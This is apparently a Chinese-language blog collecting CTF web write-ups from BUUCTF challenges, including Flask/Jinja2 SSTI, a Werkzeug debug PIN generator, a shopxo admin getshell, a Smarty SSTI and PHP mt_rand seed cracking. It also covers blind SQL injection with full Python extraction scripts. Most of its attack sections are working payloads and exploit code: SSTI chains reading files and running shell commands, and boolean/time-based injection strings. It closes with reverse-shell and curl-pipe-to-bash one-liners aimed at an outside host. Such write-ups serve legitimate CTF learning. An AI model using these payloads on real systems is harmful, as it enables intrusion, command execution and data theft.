[GYCTF2020]FlaskApp
给人的感觉就是 ssti!
解密的时候输入 1!base64 只能是在 Base64 中的可打印字符包括字母 A-Z
、a-z
、数字 0-9
Base64 索引表:
数值
字符
数值
字符
数值
字符
数值
字符
0
A
16
Q
32
g
48
w
1
B
17
R
33
h
49
x
2
C
18
S
34
i
50
y
3
D
19
T
35
j
51
z
4
E
20
U
36
k
52
0
5
F
21
V
37
l
53
1
6
G
22
W
38
m
54
2
7
H
23
X
39
n
55
3
8
I
24
Y
40
o
56
4
9
J
25
Z
41
p
57
5
10
K
26
a
42
q
58
6
11
L
27
b
43
r
59
7
12
M
28
c
44
s
60
8
13
N
29
d
45
t
61
9
14
O
30
e
46
u
62
+
15
P
31
f
47
v
63
/
我们可以看到 ssti 漏洞点!
分析一下他的代码!
Python format 格式化函数:
https://www.runoob.com/python/att-string-format.html
就是把输入的数据先 base64 解密!再进行模板渲染!
输入 49 不行!
但是 14 可以!
就是 waf 掉了 *
ctf 中 flask_ssti 的各种绕过技巧: https://xz.aliyun.com/t/9008
flask 之 ssti 模版注入从零到入门:
https://xz.aliyun.com/t/3679
着对于我这个 python 菜鸟来说!还是比较硬伤的!
这道了是 python3 后!
大佬:
https://blog.csdn.net/Alexhcf/article/details/108400293
在 jinja2 中 控制结构 {% %}
变量取值 {{ }}
这个对于没学过 python 的我咋理解呢!就是两种运行的方式把!
参考 Templates Injections 的 payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__bui' 'ltins__' ].open('app.py' ,'r' ).read() }} {% endif %}{% endfor %}
字符串拼接绕过 payload 看目录:
{{'' .__class__.__bases__[0 ].__subclasses__()[75 ].__init__.__globals__['__builtins__' ]['__imp' +'ort__' ]('o' +'s' ).listdir('/' )}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ]['__imp' +'ort__' ]('o' +'s' ).listdir('/' )}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva' +'l' in b.keys() %} {{ b['eva' +'l' ]('__impor' +'t__' +'("o' +'s")' +'.pope' +'n' +'("l"+"s /").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
读数据:
倒叙:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open('txt.galf_eht_si_siht/' [::-1 ],'r' ).read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open('/this_is_the_fl' +'ag.txt' ,'r' ).read()}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('cat '+'/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}
这里主要是字符串拼接绕过!
师傅们还有第二种方法:
利用 PIN 码进行 RCE 服务器运行 flask 所登录的用户名 {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
我们可以读取 /sys/class/net/eth0/address
来获得 mac 的 16 进制:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
得到 02:42:ac:10:a2:a5 将其转 10 进制 2485377868453
机器的 id linux 的 id 一般存放在 /etc/machine-id 或 /proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows 的 id 获取跟 linux 也不同。
对于 docker 机则读取读取 /proc/self/cgroup 获取 get_machine_id ()(docker 后面那段字符串) 使用如下:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}
import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' , ] private_bits = [ '2485377868453' , '3aded5e5389e2cb989457b0bf88b8c68d710310a4d31879010e2df97d2512eb4' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int(h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len(num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range(0 , len(num), group_size)) break else : rv = num print(rv)
import osos.popen("ls -l /" ).read() os.popen("cat /this_is_the_flag.txt" ).read()
[GKCTF2020] 老八小超市儿 就喜欢玩渗透测试!别代码审计了!看的眼疼!头晕!😫
渗透测试 | shopxo 后台全版本获取 shell 复现 https://www.nctry.com/1660.html
访问 admin.php 后台
访问默认后台,使用 shopxo 的默认账号密码进行登录:admin shopxo
getshell 这里面有流程!
渗透测试 | shopxo 后台全版本获取 shell 复现
https://www.nctry.com/1660.html
可以写!
直接重定向
import osimport ioimport timeos.system("whoami" ) gk1=str(time.ctime()) gk="\nGet The RooT,The Date Is Useful!" os.system("cat /root/*>/1.txt" ) f.close()
[CISCN2019 华东南赛区] Web11
Smarty SSTI 模板注入
https://www.freebuf.com/column/219913.html
直接 payload1:
{if phpinfo()}{/if} {if system('cat /*')}{/if}
有一点注意:
别直接抓 http://node3.buuoj.cn:27468/xff,这会 404
要抓 http://node3.buuoj.cn:27468/xff/
payload2: curl http://node3.buuoj.cn:27468/xff/ -H "X-Forwarded-For:{if system('cat /*')}{/if}"
curl 命令
网络应用 https://man.linuxde.net/curl
[GWCTF 2019] 枯燥的抽奖 Wz0yVGFBxa <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION['seed' ])){$_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str, 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ;if (isset ($_POST['num' ])){ if ($_POST['num' ]===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
伪随机数 mt_rand () 并不是一个真・随机数 生成函数,实际上绝大多数编程语言中的随机数函数生成的都都是伪随机数。关于真随机数和伪随机数的区别这里不展开解释,只需要简单了解一点
伪随机是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
简单假设一下 mt_rand () 内部生成随机数的函数为:rand = seed+(i*10)
其中 seed
是随机数种子,i
是第几次调用这个随机数函数。当我们同时知道 i
和 rand
两个值的时候,就能很容易的算出 seed 的值来。比如 rand=21 ,i=2 代入函数 21=seed+(2*10)
得到 seed=1 。是不是很简单,当我们拿到 seed 之后,就能计算出当 i
为任意值时候的 rand
的值了。
学习文章 PHP mt_rand () 随机数安全:
https://xz.aliyun.com/t/31
PHP mt_rand 安全杂谈及应用场景详解
http://13.58.107.157/archives/6112
大概了解了 mt_rand 生成的随机数不是一个真正的随机数
mt_rand 生成的随机数 。它是通过函数来控制的!我个人了解!
当你知道函数里一个参数 (种子 a)!又知道结果 y!就好比 y=ax!那 x 就可以解出!
那现在可以通过爆破爆出种子 a! 那结果 y 就是可以控制的了!可以就像别的文章里说的!把 x 理解成次数!
就是知道了种子 a! 那么 y 就是已知的了!
如:直接 py 大佬的了:
假设下面的代码为用户密码的随机生成代码:
<?php function user_password ( ) { return mt_rand(); } echo user_password(), "\n" ; echo user_password(), "\n" ; echo user_password(), "\n" ;
运行后我们可以得到三个用户的密码
假设我们现在得到了第一个用户的密码:1412203388
通过这个密码我们可以猜测出后面两个用户的密码。
下面我们运行 php_mt_seed 找出 seed,命令如下:
./php_mt_seed.exe 1412203388
运行截图如下:
这里我用于测试的服务器的 PHP 版本为 5.4.45,那么 seed 就可能是 2078089285,下面写一段 PHP 代码来测试一下。
<?php mt_srand(2078089285 ); for ($i=0 ;$i<3 ;$i++){ echo mt_rand()." " ; }
运行结果如下:
很明显 y 是可以预测的!
再看本题:
爆出种子!那 20 位的结果就是一定的了!不会变!
exp1 <?php $pass_now = "Wz0yVGFBxa" ; $allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $len = strlen($allowable_characters) - 1 ; for ($j = 0 ; $j < strlen($pass_now); $j++) { for ($i = 0 ; $i < $len; $i++) { if ($pass_now[$j] == $allowable_characters[$i]) { echo "$i $i 0 61 " ; break ; } } }
exp2 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='Wz0yVGFBxa' str3 = str1[::-1 ] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' ' +str(j)+' ' +'0' +' ' +str(len(str1)-1 )+' ' break print(res)
再爆出结果 exp3 <?php mt_srand(386758274 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } echo "<p id='p1'>" .$str."</p>" ;
[BSidesCF 2019]Futurella
刚看一眼,以为考 misc 里的外星人加密呢!
惯性反应看源码!
这题太水了把!!!签到题!!!
[WUSTCTF2020] 颜值成绩查询
有报错!
目录没有!估计就是 sql 注入!
自己 (~ ̄(OO) ̄) ブ本😫了
它是整型注入!好久没遇到整型注入了!下意识就认为是字符串!不行不行要长记性!
记录一下判断过程!
1'/**/or/**/1=1/**/%23 -1/**/or/**/1%23 -1/**/or/**/0%23
payload: 测试 + 暴库: -1/**/or/**/if(1,sleep(3),0)%23 -1/**/or/**/case/**/when/**/ascii(substr(database()/**/from/**/1/**/for/**/1))>80/**/then/**/1/**/else/**/0/**/end# -1/**/or/**/case/**/when/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))>%d/**/then/**/1/**/else/**/0/**/end#%(i,j)
包表 -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/# -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))like/**/('80')/**/then/**/1/**/else/**/0/**/end/**/#" %(i,j) -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))like/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23 -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23
爆字段 flag,scgre -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('ctf'))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/sleep(3)/**/else/**/0/**/end/**/#" %(i,j) -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('flag'))/**/from/**/1/**/for/**/1))>/**/(80)/**/then/**/1/**/else/**/0/**/end/**/%23 -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('flag'))/**/from/**/%d/**/for/**/1))>/**/(%d)/**/then/**/1/**/else/**/0/**/end/**/#" %(i,j)
爆内容 flag,vague -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(f1lename))from(articles))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/sleep(3)/**/else/**/0/**/end/**/#" %(i,j) -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(flag))from(flag))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/%23 -1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j) -1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1),2,4))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j) 因为每次buu老是办!卡!! -1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),2,4)/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/# -1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag))/**/from/**/1/**/for/**/1),5))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/# SELECT LEFT('foobarbar', 5); -1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag)),5)/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23 -1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag)),5)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#;"%(i,j) -1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),2,4)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/"#%(i,j) flag{4c {4cd78d d78d20- 0-fd92 2-49b6- b6-aa8 e-fab6 fb31bd3c} flag{4cd78d20-fd92-49b6-aa8e-fab6fb31bd3c}
注意有一点带不带分号都可以!不知道为啥!
感觉 bool 和延迟很像!
exp: import reimport requestsimport stringimport timeurl = "http://bd643719-81b8-4f42-a4ec-160065111100.node3.buuoj.cn/" flag = '' def payload (i,j ): sql="-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),32,45)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#;" %(i,j) data = {"stunum" :sql} r = requests.get(url,params=data) if r.status_code == 429 : print('too fast' ) time.sleep(4 ) if "Hi admin, your score is: 100" in r.text: res = 1 else : res = 0 return res def exp (): global flag for i in range(1 ,10000 ) : print(i,':' ) low = 31 high = 127 while low <= high : mid = (low + high) // 2 res = payload(i,mid) if res : low = mid + 1 else : high = mid - 1 f = int((low + high + 1 )) // 2 if (f == 127 or f == 31 ): break flag += chr(f) print(flag) exp() print(flag)
大佬的 xep import requestsurl = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum=" result = "" i = 0 while ( True ): i = i + 1 head=32 tail=127 while ( head < tail ): mid = (head + tail) >> 1 payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid) r = requests.get(url+payload) r.encoding = "utf-8" if "your score is: 100" in r.text : head = mid + 1 else : tail = mid last = result if head!=32 : result += chr(head) else : break print(result)
突然想起来反弹 shell 了! bash -c "bash -i >&/dev/tcp/1.1.1.1/5555 0>&1" curl 1.1.1.1|bash curl http://1.1.1.1|bash
就是不知道为啥!以前测的时候可以!可是有一天学长测的时候出问题!结果我晚上测的时候也不行了!
现在又可以了!日了网络这东西太😫😫😫!